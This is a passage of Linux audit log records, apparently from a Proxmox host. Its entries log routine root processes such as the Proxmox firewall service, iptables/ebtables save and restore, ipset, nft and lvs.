cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965377.803:65362): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964630.083:61870): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145714,"@rawstring":"node=pve type=PATH msg=audit(1781966145.714:68636): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965377.803:65361): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964625625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.625:61867): arch=c000003e syscall=59 success=yes exit=0 a0=6227a8152b60 a1=6227a815ea70 a2=6227a812c680 a3=5 items=2 ppid=59361 pid=59367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145707,"@rawstring":"node=pve type=PATH msg=audit(1781966145.707:68635): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965377.803:65360): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.622:61866): arch=c000003e syscall=59 success=yes exit=0 a0=6227783a3ac8 a1=7fffa1953060 a2=6227a812c680 a3=62277838724e items=2 ppid=59361 pid=59363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145707,"@rawstring":"node=pve type=PATH msg=audit(1781966145.707:68635): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965377.793:65359): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.622:61865): arch=c000003e syscall=59 success=yes exit=0 a0=7fffa1953020 a1=6227a814e200 a2=6227a812c680 a3=5 items=2 ppid=59361 pid=59362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145701,"@rawstring":"node=pve type=PATH msg=audit(1781966145.701:68634): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965377.793:65358): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964625617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.617:61863): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145701,"@rawstring":"node=pve type=PATH msg=audit(1781966145.701:68634): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965377.793:65357): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964625611,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.611:61862): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145693,"@rawstring":"node=pve type=PATH msg=audit(1781966145.693:68633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.909:65356): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964625604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.604:61861): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145693,"@rawstring":"node=pve type=PATH msg=audit(1781966145.693:68633): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.903:65355): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964625598,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.598:61860): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145684,"@rawstring":"node=pve type=PATH msg=audit(1781966145.684:68632): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.903:65354): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964625591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.591:61859): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145684,"@rawstring":"node=pve type=PATH msg=audit(1781966145.684:68632): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.903:65353): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964625588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.588:61858): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=607de0448740 items=0 ppid=1156 pid=59356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966145680,"@rawstring":"node=pve type=PATH msg=audit(1781966145.680:68631): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.897:65352): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964625585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.585:61857): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145680,"@rawstring":"node=pve type=PATH msg=audit(1781966145.680:68631): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.891:65351): proctitle=\"ip6tables-save\""} {"@timestamp":1781964625581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.581:61856): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13be90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59355 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145677,"@rawstring":"node=pve type=PATH msg=audit(1781966145.677:68630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.883:65350): proctitle=\"iptables-save\""} {"@timestamp":1781964625575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.575:61855): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4a20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145677,"@rawstring":"node=pve type=PATH msg=audit(1781966145.677:68630): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.873:65349): proctitle=\"ip6tables-save\""} {"@timestamp":1781964625570,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.570:61854): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=PATH msg=audit(1781966145.676:68629): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.863:65348): proctitle=\"iptables-save\""} {"@timestamp":1781964625566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.566:61853): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=PATH msg=audit(1781966145.676:68629): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.862:65347): proctitle=\"ebtables-restore\""} {"@timestamp":1781964625561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.561:61852): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e67b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=PATH msg=audit(1781966145.676:68628): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.859:65346): proctitle=\"ebtables-restore\""} {"@timestamp":1781964625554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.554:61851): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145670,"@rawstring":"node=pve type=PATH msg=audit(1781966145.670:68627): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.853:65345): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964625548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.548:61850): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145670,"@rawstring":"node=pve type=PATH msg=audit(1781966145.670:68627): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.849:65344): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964625544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.544:61849): arch=c000003e syscall=59 success=yes exit=0 a0=5ba8e00f30a0 a1=5ba8e00efe20 a2=5ba8e00d1680 a3=5 items=2 ppid=59342 pid=59348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145670,"@rawstring":"node=pve type=PATH msg=audit(1781966145.670:68627): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.843:65343): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.541:61848): arch=c000003e syscall=59 success=yes exit=0 a0=5ba8c537cac8 a1=7ffd4ca61e80 a2=5ba8e00d1680 a3=5ba8c536024e items=2 ppid=59342 pid=59344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145660,"@rawstring":"node=pve type=PATH msg=audit(1781966145.660:68626): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375837,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.837:65342): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.541:61847): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd4ca61e40 a1=5ba8e00d8310 a2=5ba8e00d1680 a3=5 items=2 ppid=59342 pid=59343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145660,"@rawstring":"node=pve type=PATH msg=audit(1781966145.660:68626): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.831:65341): proctitle=697073657400726573746F7265"} {"@timestamp":1781964625536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.536:61845): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145651,"@rawstring":"node=pve type=PATH msg=audit(1781966145.651:68625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375825,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.825:65340): proctitle=\"ip6tables-save\""} {"@timestamp":1781964625530,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.530:61844): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145651,"@rawstring":"node=pve type=PATH msg=audit(1781966145.651:68625): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.815:65339): proctitle=\"iptables-save\""} {"@timestamp":1781964625523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.523:61843): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145644,"@rawstring":"node=pve type=PATH msg=audit(1781966145.644:68624): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.810:65338): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964625518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.518:61842): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145644,"@rawstring":"node=pve type=PATH msg=audit(1781966145.644:68624): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.808:65337): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964625512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.512:61841): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1383a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145636,"@rawstring":"node=pve type=PATH msg=audit(1781966145.636:68623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.807:65336): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964625505,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.505:61840): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fe890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145636,"@rawstring":"node=pve type=PATH msg=audit(1781966145.636:68623): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.807:65335): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.075:61839): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145627,"@rawstring":"node=pve type=PATH msg=audit(1781966145.627:68622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.799:65334): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.065:61836): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145627,"@rawstring":"node=pve type=PATH msg=audit(1781966145.627:68622): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.792:65333): proctitle=\"ip6tables-save\""} {"@timestamp":1781964624124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964624.124:61833): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a4ccf0 a1=64f8d741b830 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=PATH msg=audit(1781966145.572:68621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965375.785:65332): proctitle=\"iptables-save\""} {"@timestamp":1781964624087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964624.087:61832): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6d81d70 a1=64f8d1382a50 